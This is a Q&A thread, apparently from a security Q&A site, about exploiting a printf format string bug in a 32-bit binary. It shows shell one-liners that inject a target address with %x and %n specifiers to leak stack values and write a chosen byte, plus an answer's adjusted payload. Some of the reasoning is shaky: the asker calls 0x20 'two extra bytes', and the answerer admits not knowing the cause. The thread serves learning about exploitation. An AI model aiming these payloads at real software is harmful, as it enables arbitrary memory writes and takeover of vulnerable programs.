4

I am working on a 32-bit binary which reads an input from the user and uses that input as a format string for printf.

I need to overwrite a specific address with a single byte.

The issue is that I am not able to overwrite the address with the expected value.

I use the following approach and I need help to understand why the incorrect value is being written at the chosen memory address.

Example:

Memory address to be overwritten: 0xaabbccdd

$ echo -n $(python -c 'print "\xdd\xcc\xbb\xaa" + "%x" * 6') | ./bin

�̻�ffffd0a81814ffffd34556557000aabbccdd

So, I know that when I enter %x, 6 times, the address that I want to overwrite will be popped from the stack. So, using the 6th %x, I can interact with this memory address.

To read the contents of 0xaabbccdd, I would do:

$ echo -n $(python -c 'print "\xdd\xcc\xbb\xaa" + "%x" * 5 + "%s"') | ./bin
�̻�ffffd0a81814ffffd34556557000aabbccdd

Now, I want to write 0x18 to the address: 0xaabbccdd.

0x18 = 24 (in decimal).

If I use %x 5 times, then the number of bytes written by printf are:

4 bytes -> corresponding to address: 0xaabbccdd 5 DWORDs from the stack = 5 * 4 = 20 bytes

so, %n should write (20 + 4) = 24 bytes at the memory address 0xaabbccdd with the below format string:

echo -n $(python -c 'print "\xdd\xcc\xbb\xaa" + "%x" * 5 + "%n') | ./bin

Instead, it overwrites the address with the value, 0x20.

I am not able to understand, why those extra 2 bytes?

%n is supposed to write the number of bytes printed by printf so far.

Neon Flash
  • 929
  • 2
  • 11
  • 17

1 Answers1

1

I'm not sure exactly where the extra 2 bytes came from either, but this is easy to work around. You simply need to decrease the total number of bytes written by 2. Every time you use %x, 4 bytes are added. You can replace the last %x with something that only prints 2 bytes, such as %2c or %hx, resulting in:

"\xdd\xcc\xbb\xaa" + "%x" * 4 + "%hx" + "%n'
multithr3at3d
  • 12,355
  • 3
  • 29
  • 42